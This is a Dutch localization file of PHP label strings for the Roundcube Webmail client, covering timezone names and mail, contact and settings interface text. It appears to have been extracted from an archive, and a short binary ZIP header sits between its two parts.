$labels['tz:asia:qatar'] = 'Qatar';
$labels['tz:asia:qyzylorda'] = 'Qyzylorda';
$labels['tz:asia:riyadh'] = 'Riyadh';
$labels['tz:asia:sakhalin'] = 'Sakhalin';
$labels['tz:asia:samarkand'] = 'Samarkand';
$labels['tz:asia:seoul'] = 'Seoul';
$labels['tz:asia:shanghai'] = 'Shanghai';
$labels['tz:asia:singapore'] = 'Singapore';
$labels['tz:asia:srednekolymsk'] = 'Srednekolymsk';
$labels['tz:asia:taipei'] = 'Taipei';
$labels['tz:asia:tashkent'] = 'Tashkent';
$labels['tz:asia:tbilisi'] = 'Tbilisi';
$labels['tz:asia:tehran'] = 'Teheran';
$labels['tz:asia:thimphu'] = 'Thimphu';
$labels['tz:asia:tokyo'] = 'Tokyo';
$labels['tz:asia:tomsk'] = 'Tomsk';
$labels['tz:asia:ulaanbaatar'] = 'Ulaanbaatar';
$labels['tz:asia:urumqi'] = 'Urumqi';
$labels['tz:asia:ust-nera'] = 'Ust-Nera';
$labels['tz:asia:vientiane'] = 'Vientiane';
$labels['tz:asia:vladivostok'] = 'Vladivostok';
$labels['tz:asia:yakutsk'] = 'Yakutsk';
$labels['tz:asia:yangon'] = 'Yangon';
$labels['tz:asia:yekaterinburg'] = 'Yekaterinburg';
$labels['tz:asia:yerevan'] = 'Yerevan';
$labels['tz:atlantic'] = 'Atlantische oceaan';
$labels['tz:atlantic:azores'] = 'Azoren';
$labels['tz:atlantic:bermuda'] = 'Bermuda';
$labels['tz:atlantic:canary'] = 'Canarische eilanden';
$labels['tz:atlantic:cape_verde'] = 'Kaap Verdië';
$labels['tz:atlantic:faroe'] = 'Faröer eilanden';
$labels['tz:atlantic:madeira'] = 'Madeira';
$labels['tz:atlantic:reykjavik'] = 'Reykjavik';
$labels['tz:atlantic:south_georgia'] = 'South Georgia';
$labels['tz:atlantic:st_helena'] = 'St Helena';
$labels['tz:atlantic:stanley'] = 'Stanley';
$labels['tz:australia'] = 'Australië';
$labels['tz:australia:adelaide'] = 'Adelaide';
$labels['tz:australia:brisbane'] = 'Brisbane';
$labels['tz:australia:broken_hill'] = 'Broken Hill';
$labels['tz:australia:currie'] = 'Currie';
$labels['tz:australia:darwin'] = 'Darwin';
$labels['tz:australia:eucla'] = 'Eucla';
$labels['tz:australia:hobart'] = 'Hobart';
$labels['tz:australia:lindeman'] = 'Lindeman';
$labels['tz:australia:lord_howe'] = 'Lord Howe';
$labels['tz:australia:melbourne'] = 'Melbourne';
$labels['tz:australia:perth'] = 'Perth';
$labels['tz:australia:sydney'] = 'Sydney';
$labels['tz:europe'] = 'Europa';
$labels['tz:europe:amsterdam'] = 'Amsterdam';
$labels['tz:europe:andorra'] = 'Andorra';
$labels['tz:europe:astrakhan'] = 'Astrakhan';
$labels['tz:europe:athens'] = 'Athene';
$labels['tz:europe:belgrade'] = 'Belgrado';
$labels['tz:europe:berlin'] = 'Berlijn';
$labels['tz:europe:bratislava'] = 'Bratislava';
$labels['tz:europe:brussels'] = 'Brussel';
$labels['tz:europe:bucharest'] = 'Boekarest';
$labels['tz:europe:budapest'] = 'Boedapest';
$labels['tz:europe:busingen'] = 'Busingen';
$labels['tz:europe:chisinau'] = 'Chisinau';
$labels['tz:europe:copenhagen'] = 'Kopenhagen';
$labels['tz:europe:dublin'] = 'Dublin';
$labels['tz:europe:gibraltar'] = 'Gibraltar';
$labels['tz:europe:guernsey'] = 'Guernsey';
$labels['tz:europe:helsinki'] = 'Helsinki';
$labels['tz:europe:isle_of_man'] = 'Isle of Man';
$labels['tz:europe:istanbul'] = 'Istanbul';
$labels['tz:europe:jersey'] = 'Jersey';
$labels['tz:europe:kaliningrad'] = 'Kaliningrad';
$labels['tz:europe:kiev'] = 'Kiev';
$labels['tz:europe:kirov'] = 'Kirov';
$labels['tz:europe:lisbon'] = 'Lissabon';
$labels['tz:europe:ljubljana'] = 'Ljubljana';
$labels['tz:europe:london'] = 'Londen';
$labels['tz:europe:luxembourg'] = 'Luxemburg';
$labels['tz:europe:madrid'] = 'Madrid';
$labels['tz:europe:malta'] = 'Malta';
$labels['tz:europe:mariehamn'] = 'Mariehamn';
$labels['tz:europe:minsk'] = 'Minsk';
$labels['tz:europe:monaco'] = 'Monaco';
$labels['tz:europe:moscow'] = 'Moskou';
$labels['tz:europe:oslo'] = 'Oslo';
$labels['tz:europe:paris'] = 'Parijs';
$labels['tz:europe:podgorica'] = 'Podgorica';
$labels['tz:europe:prague'] = 'Praag';
$labels['tz:europe:riga'] = 'Riga';
$labels['tz:europe:rome'] = 'Rome';
$labels['tz:europe:samara'] = 'Samara';
$labels['tz:europe:san_marino'] = 'San Marino';
$labels['tz:europe:sarajevo'] = 'Sarajevo';
$labels['tz:europe:saratov'] = 'Saratov';
$labels['tz:europe:simferopol'] = 'Simferopol';
$labels['tz:europe:skopje'] = 'Skopje';
$labels['tz:europe:sofia'] = 'Sofia';
$labels['tz:europe:stockholm'] = 'Stockholm';
$labels['tz:europe:tallinn'] = 'Tallinn';
$labels['tz:europe:tirane'] = 'Tirana';
$labels['tz:europe:ulyanovsk'] = 'Ulyanovsk';
$labels['tz:europe:uzhgorod'] = 'Uzhgorod';
$labels['tz:europe:vaduz'] = 'Vaduz';
$labels['tz:europe:vatican'] = 'Vaticaanstad';
$labels['tz:europe:vienna'] = 'Wenen';
$labels['tz:europe:vilnius'] = 'Vilnius';
$labels['tz:europe:volgograd'] = 'Volgograd';
$labels['tz:europe:warsaw'] = 'Warschau';
$labels['tz:europe:zagreb'] = 'Zagreb';
$labels['tz:europe:zaporozhye'] = 'Zaporozhye';
$labels['tz:europe:zurich'] = 'Zürich';
$labels['tz:indian'] = 'Indische oceaan';
$labels['tz:indian:antananarivo'] = 'Antananarivo';
$labels['tz:indian:chagos'] = 'Chagos';
$labels['tz:indian:christmas'] = 'Christmas';
$labels['tz:indian:cocos'] = 'Cocos';
$labels['tz:indian:comoro'] = 'Comoro';
$labels['tz:indian:kerguelen'] = 'Kerguelen';
$labels['tz:indian:mahe'] = 'Mahe';
$labels['tz:indian:maldives'] = 'Maldiven';
$labels['tz:indian:mauritius'] = 'Mauritius';
$labels['tz:indian:mayotte'] = 'Mayotte';
$labels['tz:indian:reunion'] = 'Reunion';
$labels['tz:pacific'] = 'Grote oceaan';
$labels['tz:pacific:apia'] = 'Apia';
$labels['tz:pacific:auckland'] = 'Auckland';
$labels['tz:pacific:bougainville'] = 'Bougainville';
$labels['tz:pacific:chatham'] = 'Chatham';
$labels['tz:pacific:chuuk'] = 'Chuuk';
$labels['tz:pacific:easter'] = 'Paaseiland';
$labels['tz:pacific:efate'] = 'Efate';
$labels['tz:pacific:enderbury'] = 'Enderbury';
$labels['tz:pacific:fakaofo'] = 'Fakaofo';
$labels['tz:pacific:fiji'] = 'Fiji';
$labels['tz:pacific:funafuti'] = 'Funafuti';
$labels['tz:pacific:galapagos'] = 'Galapagos';
$labels['tz:pacific:gambier'] = 'Gambier';
$labels['tz:pacific:guadalcanal'] = 'Guadalcanal';
$labels['tz:pacific:guam'] = 'Guam';
$labels['tz:pacific:honolulu'] = 'Honolulu';
$labels['tz:pacific:johnston'] = 'Johnston';
$labels['tz:pacific:kiritimati'] = 'Kiritimati';
$labels['tz:pacific:kosrae'] = 'Kosrae';
$labels['tz:pacific:kwajalein'] = 'Kwajalein';
$labels['tz:pacific:majuro'] = 'Majuro';
$labels['tz:pacific:marquesas'] = 'Marquesas';
$labels['tz:pacific:midway'] = 'Midway';
$labels['tz:pacific:nauru'] = 'Nauru';
$labels['tz:pacific:niue'] = 'Niue';
$labels['tz:pacific:norfolk'] = 'Norfolk';
$labels['tz:pacific:noumea'] = 'Noumea';
$labels['tz:pacific:pago_pago'] = 'Pago Pago';
$labels['tz:pacific:palau'] = 'Palau';
$labels['tz:pacific:pitcairn'] = 'Pitcairn';
$labels['tz:pacific:pohnpei'] = 'Pohnpei';
$labels['tz:pacific:port_moresby'] = 'Port Moresby';
$labels['tz:pacific:rarotonga'] = 'Rarotonga';
$labels['tz:pacific:saipan'] = 'Saipan';
$labels['tz:pacific:tahiti'] = 'Tahiti';
$labels['tz:pacific:tarawa'] = 'Tarawa';
$labels['tz:pacific:tongatapu'] = 'Tongatapu';
$labels['tz:pacific:wake'] = 'Wake';
$labels['tz:pacific:wallis'] = 'Wallis';
PK
h�\:g
����%program/localization/nl_NL/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Welkom bij $product';
$labels['username'] = 'Gebruikersnaam';
$labels['password'] = 'Wachtwoord';
$labels['server'] = 'Server';
$labels['login'] = 'Inloggen';
$labels['oauthlogin'] = 'Login met $provider';
$labels['menu'] = 'Menu';
$labels['logout'] = 'Uitloggen';
$labels['mail'] = 'E-mail';
$labels['settings'] = 'Instellingen';
$labels['addressbook'] = 'Adresboek';
$labels['darkmode'] = 'Donkere modus';
$labels['lightmode'] = 'Lichte modus';
$labels['inbox'] = 'Postvak In';
$labels['drafts'] = 'Concepten';
$labels['sent'] = 'Verzonden';
$labels['trash'] = 'Prullenbak';
$labels['junk'] = 'Spam';
$labels['show_real_foldernames'] = 'Toon echte namen voor speciale mappen';
$labels['subject'] = 'Onderwerp';
$labels['from'] = 'Afzender';
$labels['sender'] = 'Afzender';
$labels['to'] = 'Ontvanger';
$labels['cc'] = 'Kopie';
$labels['bcc'] = 'Bcc';
$labels['replyto'] = 'Antwoord-aan';
$labels['followupto'] = 'Followup-Aan';
$labels['date'] = 'Datum';
$labels['size'] = 'Grootte';
$labels['priority'] = 'Prioriteit';
$labels['organization'] = 'Organisatie';
$labels['readstatus'] = 'Gelezen?';
$labels['listoptions'] = 'Lijstopties...';
$labels['listoptionstitle'] = 'Lijst Opties';
$labels['mailboxlist'] = 'Mappen';
$labels['messagesfromto'] = 'Bericht $from t/m $to van $count';
$labels['threadsfromto'] = 'Conversatie $from t/m $to van $count';
$labels['messagenrof'] = 'Bericht $nr van $count';
$labels['fromtoshort'] = '$from – $to van $count';
$labels['copy'] = 'Kopiëren';
$labels['move'] = 'Verplaats';
$labels['moveto'] = 'Verplaats naar...';
$labels['copyto'] = 'Kopiëren naar...';
$labels['download'] = 'Download';
$labels['open'] = 'Openen';
$labels['showattachment'] = 'Toon';
$labels['showanyway'] = 'Laat toch zien';
$labels['filename'] = 'Bestandsnaam';
$labels['filesize'] = 'Bestandsgrootte';
$labels['addtoaddressbook'] = 'Toevoegen aan adresboek';
$labels['sun'] = 'Zo';
$labels['mon'] = 'Ma';
$labels['tue'] = 'Di';
$labels['wed'] = 'Wo';
$labels['thu'] = 'Do';
$labels['fri'] = 'Vr';
$labels['sat'] = 'Za';
$labels['sunday'] = 'zondag';
$labels['monday'] = 'maandag';
$labels['tuesday'] = 'dinsdag';
$labels['wednesday'] = 'woensdag';
$labels['thursday'] = 'donderdag';
$labels['friday'] = 'vrijdag';
$labels['saturday'] = 'zaterdag';
$labels['jan'] = 'jan';
$labels['feb'] = 'feb';
$labels['mar'] = 'mrt';
$labels['apr'] = 'apr';
$labels['may'] = 'mei';
$labels['jun'] = 'jun';
$labels['jul'] = 'jul';
$labels['aug'] = 'aug';
$labels['sep'] = 'sep';
$labels['oct'] = 'okt';
$labels['nov'] = 'nov';
$labels['dec'] = 'dec';
$labels['longjan'] = 'januari';
$labels['longfeb'] = 'februari';
$labels['longmar'] = 'maart';
$labels['longapr'] = 'april';
$labels['longmay'] = 'mei';
$labels['longjun'] = 'juni';
$labels['longjul'] = 'juli';
$labels['longaug'] = 'augustus';
$labels['longsep'] = 'september';
$labels['longoct'] = 'oktober';
$labels['longnov'] = 'november';
$labels['longdec'] = 'december';
$labels['today'] = 'Vandaag';
$labels['refresh'] = 'Vernieuwen';
$labels['checkmail'] = 'Controleer op nieuwe berichten';
$labels['compose'] = 'Opstellen';
$labels['writenewmessage'] = 'Maak een nieuw bericht';
$labels['reply'] = 'Beantwoorden';
$labels['replytomessage'] = 'Beantwoord het bericht';
$labels['replytoallmessage'] = 'Beantwoord lijst of afzender en alle ontvangers';
$labels['replyall'] = 'Beantwoord iedereen';
$labels['replylist'] = 'Beantwoord lijst';
$labels['forward'] = 'Doorsturen';
$labels['forwardinline'] = 'Doorsturen in bericht';
$labels['forwardattachment'] = 'Doorsturen als bijlage';
$labels['forwardmessage'] = 'Bericht doorsturen';
$labels['bouncemsg'] = 'Opnieuw verzenden (kaatsen)';
$labels['bounce'] = 'Opnieuw verzenden';
$labels['deletemessage'] = 'Verwijder het bericht';
$labels['movemessagetotrash'] = 'Verplaats het bericht naar de prullenbak';
$labels['printmessage'] = 'Dit bericht afdrukken';
$labels['previousmessage'] = 'Toon het vorige bericht';
$labels['firstmessage'] = 'Toon het eerste bericht';
$labels['nextmessage'] = 'Toon het volgende bericht';
$labels['lastmessage'] = 'Toon het laatste bericht';
$labels['backtolist'] = 'Terug naar berichtenoverzicht';
$labels['viewsource'] = 'Toon bron';
$labels['mark'] = 'Markeren';
$labels['markmessages'] = 'Markeer berichten';
$labels['markread'] = 'Gelezen';
$labels['markunread'] = 'Ongelezen';
$labels['markflagged'] = 'Gemarkeerd';
$labels['markunflagged'] = 'Niet-gemarkeerd';
$labels['markundeleted'] = 'Als niet verwijderd';
$labels['moreactions'] = 'Meer acties...';
$labels['markallread'] = 'Markeer alles als gelezen';
$labels['folders-cur'] = 'Alleen geselecteerde map ';
$labels['folders-sub'] = 'Geselecteerde map en sub-mapppen';
$labels['folders-all'] = 'Alle mappen';
$labels['more'] = 'Meer';
$labels['back'] = 'Terug';
$labels['options'] = 'Opties';
$labels['composeoptions'] = 'Opties voor opstellen';
$labels['optionsandattachments'] = 'Opties en bijlages';
$labels['actions'] = 'Acties';
$labels['first'] = 'Eerste';
$labels['last'] = 'Laatste';
$labels['previous'] = 'Vorige';
$labels['next'] = 'Volgende';
$labels['select'] = 'Selecteer';
$labels['selection'] = 'Selectie';
$labels['all'] = 'Allemaal';
$labels['none'] = 'Geen';
$labels['currpage'] = 'Huidige pagina';
$labels['isread'] = 'Gelezen';
$labels['unread'] = 'Ongelezen';
$labels['flagged'] = 'Gemarkeerd';
$labels['unflagged'] = 'Ongemarkeerd';
$labels['unanswered'] = 'Onbeantwoord';
$labels['withattachment'] = 'Met bijlage';
$labels['deleted'] = 'Verwijderd';
$labels['undeleted'] = 'Niet verwijderd';
$labels['replied'] = 'Beantwoord';
$labels['forwarded'] = 'Doorgestuurd';
$labels['invert'] = 'Selectie omkeren';
$labels['filter'] = 'Filter';
$labels['list'] = 'Lijst';
$labels['threads'] = 'Conversaties';
$labels['expand-all'] = 'Alles uitklappen';
$labels['expand-unread'] = 'Ongelezen uitklappen';
$labels['collapse-all'] = 'Alles inklappen';
$labels['threaded'] = 'Conversaties';
$labels['showunread'] = 'Toon ongelezen berichten';
$labels['autoexpand_threads'] = 'Klap alle conversaties uit';
$labels['do_expand'] = 'alle conversaties';
$labels['expand_only_unread'] = 'alleen met ongelezen berichten';
$labels['fromto'] = 'Afzender/Ontvanger';
$labels['flag'] = 'Markeer';
$labels['attachment'] = 'Bijlage';
$labels['nonesort'] = 'Geen';
$labels['sentdate'] = 'Verzenddatum';
$labels['arrival'] = 'Ontvangstdatum';
$labels['asc'] = 'oplopend';
$labels['desc'] = 'aflopend';
$labels['listcolumns'] = 'Kolommen';
$labels['listsorting'] = 'Sorteer op kolom';
$labels['listorder'] = 'Sorteervolgorde';
$labels['listmode'] = 'Lijstweergave';
$labels['lmode'] = 'Lijst modus';
$labels['layout'] = 'Indeling';
$labels['layoutwidescreen'] = 'Breedbeeld';
$labels['layoutdesktop'] = 'Bureaublad';
$labels['layoutlist'] = 'Lijst';
$labels['layoutwidescreendesc'] = 'Breedbeeld (3 kolommen)';
$labels['layoutdesktopdesc'] = 'Bureaublad (Brede lijst en voorbeeld van bericht onder)';
$labels['layoutlistdesc'] = 'Lijst (geen voorbeeld van bericht)';
$labels['folderactions'] = 'Mapacties...';
$labels['compact'] = 'Opschonen';
$labels['empty'] = 'Legen';
$labels['importmessages'] = 'Berichten importeren';
$labels['mailimportdesc'] = 'U kunt e-mail uploaden met bestanden in <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME-</a> of <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a>-formaat.';
$labels['mailimportzip'] = 'Meerdere bestanden kunnen gecomprimeerd worden in zip-bestanden.';
$labels['quota'] = 'Opslagverbruik';
$labels['unknown'] = 'onbekend';
$labels['unlimited'] = 'onbeperkt';
$labels['quotatype'] = 'Soort quotum';
$labels['quotatotal'] = 'Limiet';
$labels['quotaused'] = 'Gebruikt';
$labels['quotastorage'] = 'Schijfruimte';
$labels['quotamessage'] = 'Aantal berichten';
$labels['shortheaderdate'] = 'Op $date';
$labels['shortheaderto'] = 'Naar $to op $date';
$labels['shortheaderfrom'] = 'Van $from op $date';
$labels['quicksearch'] = 'Snel zoeken';
$labels['searchplaceholder'] = 'Zoeken...';
$labels['resetsearch'] = 'Wis zoekopdracht';
$labels['searchmod'] = 'Zoekopties';
$labels['msgtext'] = 'Gehele bericht';
$labels['body'] = 'Inhoud';
$labels['type'] = 'Type';
$labels['namex'] = 'Naam';
$labels['searchscope'] = 'Zoekbereik';
$labels['currentfolder'] = 'Huidige map';
$labels['subfolders'] = 'Deze en onderliggende mappen';
$labels['allfolders'] = 'Alle mappen';
$labels['searchinterval-1W'] = 'ouder dan een week';
$labels['searchinterval-1M'] = 'ouder dan een maand';
$labels['searchinterval-1Y'] = 'ouder dan een jaar';
$labels['searchinterval1W'] = 'nieuwer dan een week';
$labels['searchinterval1M'] = 'nieuwer dan een maand';
$labels['searchinterval1Y'] = 'nieuwer dan een jaar';
$labels['openinextwin'] = 'Openen in een nieuw venster';
$labels['emlsave'] = 'Opslaan (.eml)';
$labels['changeformattext'] = 'Weergeven als platte tekst';
$labels['changeformathtml'] = 'Weergeven als opgemaakte tekst (HTML)';
$labels['editasnew'] = 'Als nieuw bewerken';
$labels['send'] = 'Verzenden';
$labels['sendmessage'] = 'Verstuur bericht';
$labels['savemessage'] = 'Bewaar als concept';
$labels['addattachment'] = 'Bijlage toevoegen';
$labels['charset'] = 'Tekenset';
$labels['editortype'] = 'Soort tekstverwerker';
$labels['returnreceipt'] = 'Ontvangstbevestiging';
$labels['dsn'] = 'Afleveringsbericht (DSN)';
$labels['mailreplyintro'] = '$sender schreef op $date:';
$labels['originalmessage'] = 'Oorspronkelijke bericht';
$labels['selectimage'] = 'Selecteer afbeelding';
$labels['addimage'] = 'Afbeelding toevoegen';
$labels['selectmedia'] = 'Video selecteren';
$labels['addmedia'] = 'Film toevoegen';
$labels['encrypt'] = 'Versleutel';
$labels['encryptmessage'] = 'Versleutel bericht';
$labels['encryptmessagemailvelope'] = 'Versleutel bericht met Mailvelope';
$labels['importpubkeys'] = 'Publieke sleutels importeren';
$labels['encryptedsendialog'] = 'Versleuteld bericht versturen';
$labels['encryptandsign'] = 'Versleutelen en ondertekenen';
$labels['keyid'] = 'Sleutel ID';
$labels['keylength'] = 'Bits';
$labels['keyexpired'] = 'Verlopen';
$labels['keyrevoked'] = 'Ingetrokken';
$labels['bccinstead'] = 'Bcc gebruiken';
$labels['addheader'] = 'Ontvanger toevoegen (header)';
$labels['insert'] = 'Invoegen';
$labels['insertcontact'] = 'Contact(en) invoegen';
$labels['recipient'] = 'Ontvanger';
$labels['recipientedit'] = 'Ontvanger aanpassen';
$labels['editidents'] = 'Identiteiten bewerken';
$labels['spellcheck'] = 'Spelling';
$labels['checkspelling'] = 'Controleer spelling';
$labels['resumeediting'] = 'Doorgaan met opstellen';
$labels['revertto'] = 'Terugwijzigen in';
$labels['restore'] = 'Herstellen';
$labels['restoremessage'] = 'Bericht herstellen?';
$labels['ignore'] = 'Negeren';
$labels['responses'] = 'Reacties';
$labels['insertresponse'] = 'Reactie invoegen';
$labels['manageresponses'] = 'Reacties beheren';
$labels['newresponse'] = 'Nieuw antwoord aanmaken';
$labels['addresponse'] = 'Antwoord toevoegen';
$labels['editresponse'] = 'Bewerk reactie';
$labels['editresponses'] = 'Bewerk reactie';
$labels['responsename'] = 'Naam';
$labels['responsetext'] = 'Reactie';
$labels['attach'] = 'Bijvoegen';
$labels['attachments'] = 'Bijlagen';
$labels['upload'] = 'Toevoegen';
$labels['uploadprogress'] = '$percent ($current van $total)';
$labels['close'] = 'Sluit';
$labels['messageoptions'] = 'Berichtopties...';
$labels['togglecomposeoptions'] = 'Wissel opties voor opstellen';
$labels['attachmentrename'] = 'Hernoem bijlage';
$labels['low'] = 'Laag';
$labels['lowest'] = 'Laagste';
$labels['normal'] = 'Normaal';
$labels['high'] = 'Hoog';
$labels['highest'] = 'Hoogste';
$labels['nosubject'] = '(geen onderwerp)';
$labels['showimages'] = 'Toon afbeeldingen';
$labels['allow'] = 'Toestaan';
$labels['alwaysshow'] = 'Afbeeldingen van $sender altijd tonen';
$labels['alwaysallow'] = 'Altijd van $sender toestaan';
$labels['isdraft'] = 'Dit is een conceptbericht.';
$labels['andnmore'] = '$nr meer...';
$labels['details'] = 'Details';
$labels['summary'] = 'Overzicht';
$labels['headers'] = 'Headers';
$labels['allheaders'] = 'Alle headers...';
$labels['togglemoreheaders'] = 'Toon meer berichtheaders';
$labels['togglefullheaders'] = 'Originele berichtheaders aan/uit';
$labels['htmltoggle'] = 'Opgemaakt (HTML)';
$labels['plaintoggle'] = 'Platte tekst';
$labels['savesentmessagein'] = 'Bewaar verzonden bericht in';
$labels['dontsave'] = 'niet bewaren';
$labels['maxuploadsize'] = 'Maximum toegestane bestandsgrootte is $size';
$labels['addcc'] = 'Cc toevoegen';
$labels['addbcc'] = 'Bcc toevoegen';
$labels['addreplyto'] = 'Antwoord-aan toevoegen';
$labels['addfollowupto'] = 'Followup-To toevoegen';
$labels['sendreceipt'] = 'Leesbevestiging verzenden?';
$labels['mdnrequest'] = 'De afzender van dit bericht heeft gevraagd een melding te ontvangen wanneer u dit bericht heeft gelezen. Wilt u deze melding verzenden?';
$labels['receiptread'] = 'Ontvangstbevestiging (gelezen)';
$labels['yourmessage'] = 'Dit is een ontvangstbevestiging voor uw bericht';
$labels['receiptnote'] = 'Let op: Dit bevestigt alleen dat uw bericht bij de geadresseerde is weergegeven. Er is geen garantie dat de geadresseerde het bericht daadwerkelijk heeft gelezen of de inhoud ervan heeft begrepen.';
$labels['sendalwaysto'] = 'Altijd versturen naar $email';
$labels['zoomin'] = 'Inzoomen';
$labels['zoomout'] = 'Uitzoomen';
$labels['rotate'] = 'Draaien';
$labels['increaseimage'] = 'Afbeelding vergroten';
$labels['decreaseimage'] = 'Afbeelding verkleinen';
$labels['rotateimage'] = 'Afbeelding draaien';
$labels['showtools'] = 'Afbeelding opties weergeven';
$labels['hidetools'] = 'Afbeelding opties verbergen';
$labels['name'] = 'Weergavenaam';
$labels['firstname'] = 'Voornaam';
$labels['surname'] = 'Achternaam';
$labels['middlename'] = 'Tweede naam';
$labels['nameprefix'] = 'Voorvoegsel';
$labels['namesuffix'] = 'Achtervoegsel';
$labels['nickname'] = 'Bijnaam';
$labels['jobtitle'] = 'Functietitel';
$labels['department'] = 'Afdeling';
$labels['gender'] = 'Geslacht';
$labels['maidenname'] = 'Meisjesnaam';
$labels['email'] = 'E-mail';
$labels['phone'] = 'Telefoon';
$labels['address'] = 'Adres';
$labels['street'] = 'Straat';
$labels['locality'] = 'Stad';
$labels['zipcode'] = 'Postcode';
$labels['region'] = 'Provincie/staat';
$labels['country'] = 'Land';
$labels['birthday'] = 'Geboortedatum';
$labels['anniversary'] = 'Gedenkdatum';
$labels['website'] = 'Website';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'Opmerkingen';
$labels['male'] = 'Man';
$labels['female'] = 'Vrouw';
$labels['manager'] = 'Leidinggevende';
$labels['assistant'] = 'Assistent';
$labels['spouse'] = 'Echtgenoot';
$labels['allfields'] = 'Alle velden';
$labels['search'] = 'Zoeken';
$labels['searchresult'] = 'Zoekresultaat';
$labels['advsearch'] = 'Geavanceerd zoeken';
$labels['advanced'] = 'Geavanceerd';
$labels['other'] = 'Anders';
$labels['printcontact'] = 'Contactpersoon printen';
$labels['qrcode'] = 'QR-code';
$labels['typehome'] = 'Thuis';
$labels['typework'] = 'Werk';
$labels['typeother'] = 'Anders';
$labels['typemobile'] = 'Mobiel';
$labels['typemain'] = 'Belangrijkste';
$labels['typehomefax'] = 'Fax thuis';
$labels['typeworkfax'] = 'Fax werk';
$labels['typecar'] = 'Auto';
$labels['typepager'] = 'Pieper';
$labels['typevideo'] = 'Video';
$labels['typeassistant'] = 'Assistent';
$labels['typehomepage'] = 'Website';
$labels['typeblog'] = 'Weblog';
$labels['typeprofile'] = 'Profiel';
$labels['addfield'] = 'Veld toevoegen...';
$labels['addcontact'] = 'Contact toevoegen';
$labels['editcontact'] = 'Contactpersoon wijzigen';
$labels['contacts'] = 'Contactpersonen';
$labels['contactproperties'] = 'Gegevens van contactpersoon';
$labels['contactnameandorg'] = 'Naam en organisatie';
$labels['personalinfo'] = 'Persoonlijke informatie';
$labels['personal'] = 'Persoonlijk';
$labels['contactphoto'] = 'Contactfoto';
$labels['edit'] = 'Wijzig';
$labels['cancel'] = 'Annuleren';
$labels['save'] = 'Opslaan';
$labels['delete'] = 'Verwijder';
$labels['discard'] = 'Weggooien';
$labels['continue'] = 'Doorgaan';
$labels['ok'] = 'OK';
$labels['rename'] = 'Hernoemen';
$labels['addphoto'] = 'Toevoegen';
$labels['replacephoto'] = 'Vervangen';
$labels['uploadphoto'] = 'Foto uploaden';
$labels['choosefile'] = 'Kies bestand...';
$labels['choosefiles'] = 'Kies bestanden...';
$labels['browse'] = 'Blader';
$labels['newcontact'] = 'Nieuw contact aanmaken';
$labels['deletecontact'] = 'Verwijder geselecteerde contactpersonen';
$labels['composeto'] = 'Stuur een bericht naar';
$labels['contactsfromto'] = 'Contactpersonen $from t/m $to van $count';
$labels['print'] = 'Afdrukken';
$labels['export'] = 'Exporteren';
$labels['exportall'] = 'Alles exporteren';
$labels['exportsel'] = 'Selectie exporteren';
$labels['exportvcards'] = 'Exporteer contactpersonen in vCard-formaat';
$labels['newgroup'] = 'Nieuwe groep maken';
$labels['addgroup'] = 'Groep toevoegen';
$labels['grouprename'] = 'Groep hernoemen';
$labels['groupdelete'] = 'Groep verwijderen';
$labels['groupassign'] = 'Aan groep toevoegen...';
$labels['groupremove'] = 'Van groep verwijderen...';
$labels['groupremoveselected'] = 'Verwijder geselecteerde contactpersonen van groep';
$labels['uponelevel'] = 'Een niveau omhoog';
$labels['previouspage'] = 'Vorige pagina';
$labels['firstpage'] = 'Eerste pagina';
$labels['nextpage'] = 'Volgende pagina';
$labels['lastpage'] = 'Laatste pagina';
$labels['group'] = 'Groep';
$labels['groups'] = 'Groepen';
$labels['listgroup'] = 'Toon groepsleden';
$labels['personaladrbook'] = 'Persoonlijk adresboek';
$labels['searchsave'] = 'Zoekopdracht opslaan';
$labels['searchdelete'] = 'Zoekopdracht verwijderen';
$labels['import'] = 'Importeren';
$labels['importcontacts'] = 'Contactpersonen importeren';
$labels['importfromfile'] = 'Importeer van bestand';
$labels['importtarget'] = 'Contacten toevoegen aan';
$labels['importreplace'] = 'Vervang het complete adresboek';
$labels['importgroups'] = 'Importeer groepstoewijzingen';
$labels['importgroupsall'] = 'Allemaal (maak groepen aan indien nodig)';
$labels['importgroupsexisting'] = 'Alleen voor bestaande groepen';
$labels['importdesc'] = 'U kunt contactpersonen uploaden van een bestaand adresboek.<br/>Op dit moment ondersteunen we het importeren van adresboeken in <a href="https://en.wikipedia.org/wiki/VCard">vCard-</a>en CSV-formaat (kommagescheiden tekstbestand).';
$labels['done'] = 'Klaar';
$labels['settingsfor'] = 'Instellingen voor';
$labels['about'] = 'Over';
$labels['preferences'] = 'Instellingen';
$labels['userpreferences'] = 'Gebruikersinstellingen';
$labels['editpreferences'] = 'Wijzig gebruikersinstellingen';
$labels['identities'] = 'Identiteiten';
$labels['manageidentities'] = 'Identiteiten beheren';
$labels['newidentity'] = 'Nieuwe identiteit';
$labels['addidentity'] = 'Identiteit toevoegen';
$labels['editidentity'] = 'Identiteit bewerken';
$labels['identityencryption'] = 'Versleuteling';
$labels['preferhtml'] = 'Toon berichten in HTML-opmaak';
$labels['defaultcharset'] = 'Standaard tekenset';
$labels['htmlmessage'] = 'HTML-bericht';
$labels['messagepart'] = 'Gedeelte';
$labels['digitalsig'] = 'Digitale handtekening';
$labels['dateformat'] = 'Datumnotatie';
$labels['timeformat'] = 'Tijdweergave';
$labels['prettydate'] = 'Leesbare datums';
$labels['setdefault'] = 'Stel in als standaard';
$labels['autodetect'] = 'Automatisch';
$labels['language'] = 'Taal';
$labels['timezone'] = 'Tijdzone';
$labels['pagesize'] = 'Aantal berichten per pagina';
$labels['signature'] = 'Ondertekening';
$labels['dstactive'] = 'Zomertijd';
$labels['showinextwin'] = 'Bericht in een nieuw venster openen';
$labels['composeextwin'] = 'In een nieuw venster bewerken';
$labels['htmleditor'] = 'Berichten opstellen in HTML-opmaak';
$labels['htmlonreply'] = 'alleen bij beantwoorden van HTML-berichten';
$labels['htmlonreplyandforward'] = 'bij doorsturen of beantwoorden van een HTML-bericht';
$labels['htmlsignature'] = 'HTML-ondertekening';
$labels['showemail'] = 'Toon e-mailadressen met weergavenaam';
$labels['previewpane'] = 'Toon voorbeeldvenster';
